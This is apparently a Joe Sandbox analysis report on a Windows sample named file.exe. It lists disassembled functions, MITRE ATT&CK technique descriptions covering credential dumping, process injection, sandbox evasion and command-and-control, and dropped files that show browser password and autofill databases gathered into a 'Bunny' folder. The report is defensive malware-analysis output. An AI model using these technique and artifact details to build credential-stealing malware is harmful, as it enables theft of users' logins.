Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
Instruction ID: 64a5f9a744aefddaace6d4dc96d3b553f18be271a75d179bc434997a6f93c792
Opcode Fuzzy Hash: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
Instruction Fuzzy Hash: EA111C26B58F018AEB00CFA0E8552A833B4FB59758F450A35DA6E4A7A8DF7CD1648340

Function 00007FFE01304E9C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FFE01304EEC
PyUnicode_FromString.PYTHON313 ref: 00007FFE01304F09

Strings

no such name, xrefs: 00007FFE01304EE2

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: String$Err_FromUnicode_
String ID: no such name
API String ID: 3678473424-4211486178
Opcode ID: 72dc25e13e04fc2e9e7414dcf655970bd367e8a4c240637ec9098a4c84f598be
Instruction ID: ec6774a823cdf1bf6c5b8a364aadca019c96b14609e6a7c2f745af84793b8998
Opcode Fuzzy Hash: 72dc25e13e04fc2e9e7414dcf655970bd367e8a4c240637ec9098a4c84f598be
Instruction Fuzzy Hash: DE014471A1864282EB629B65E8657B933D0BF9C784F410039DA4D4E775DF3CE518C700

Function 00007FFDFF195B95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDFF195BA8
_msize.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDFF195BB9

Strings

failed memory resize %u to %u bytes, xrefs: 00007FFDFF195BC2

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: _msizerealloc
String ID: failed memory resize %u to %u bytes
API String ID: 2713192863-2134078882
Opcode ID: 1620b94e1496c3a76f9313f6941ee5be211108b89c88192d34549017afd6c90c
Instruction ID: 03d831d5e6d1a21d7b56ff6e0f2ef60f3f39a1f228c692ab4f3d3b7d320db74e
Opcode Fuzzy Hash: 1620b94e1496c3a76f9313f6941ee5be211108b89c88192d34549017afd6c90c
Instruction Fuzzy Hash: 8DE0ED25F0878081EB204B02B8A093A5362AB48FD8F044230EE3E87B9CDF2CE0418300

Function 00007FFE013027C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_PyObject_GC_New.PYTHON313(?,?,00000000,00007FFE0130274F), ref: 00007FFE013027C6
PyObject_GC_Track.PYTHON313(?,?,00000000,00007FFE0130274F), ref: 00007FFE013027F8

Strings

3.2.0, xrefs: 00007FFE013027D4

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Object_$Track
String ID: 3.2.0
API String ID: 16854473-1786766648
Opcode ID: 76703d1612d6e4714df42c5d19f915ca772ef609570fabb6ef902927984103e5
Instruction ID: 27c3526502ff422ee2b24fc0a091ae1b475ae308f8086409c6ef40624e4de16a
Opcode Fuzzy Hash: 76703d1612d6e4714df42c5d19f915ca772ef609570fabb6ef902927984103e5
Instruction Fuzzy Hash: 4CE0E564A09B0281EB1A8F91E8A906923E4BF0CB54B46013DCD4D0A334EF3CE268C790

Function 00007FFDFF1DDB10 Relevance: 5.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1DDBF7
memcpy.VCRUNTIME140 ref: 00007FFDFF1DDC4B
memcpy.VCRUNTIME140 ref: 00007FFDFF1DDCA7
memcpy.VCRUNTIME140 ref: 00007FFDFF1DDD27

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 35c5d2ddfb0390e77b5fc4b97464002024ab7fc143e77e726d05edeed6224623
Instruction ID: aa10fae2b6fb82481e50086c4f0b9f341fe5267a54da085c4fed13fc6a29ab12
Opcode Fuzzy Hash: 35c5d2ddfb0390e77b5fc4b97464002024ab7fc143e77e726d05edeed6224623
Instruction Fuzzy Hash: EB919C32F0AB4A8AEB249E169560A6D73A0FB45BE4F195334DE7D077C9EF38E4118700

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Bunny\Autofills\Autofills.txt

C:\Users\user\AppData\Local\Bunny\Info.txt

C:\Users\user\AppData\Local\D3DSCache\fe8d97be6d92aa78\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

C:\Users\user\AppData\Local\D3DSCache\fe8d97be6d92aa78\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

C:\Users\user\AppData\Local\D3DSCache\fe8d97be6d92aa78\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.db

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\251ff26d-77ba-47ee-89c2-f2ad5fc6fa87.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\369a7241-470d-48f1-b5ea-ef97b0c9cd08.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3af30725-ccf7-4b05-af7b-cf9190d9ca66.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\573e5a17-9465-4eb4-9a1c-9a52eafefd8f.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6c674b5b-1950-4e81-8c81-97bcac0b339e.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\83466cde-e45e-4693-b7ae-0fb35dc7a184.tmp

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre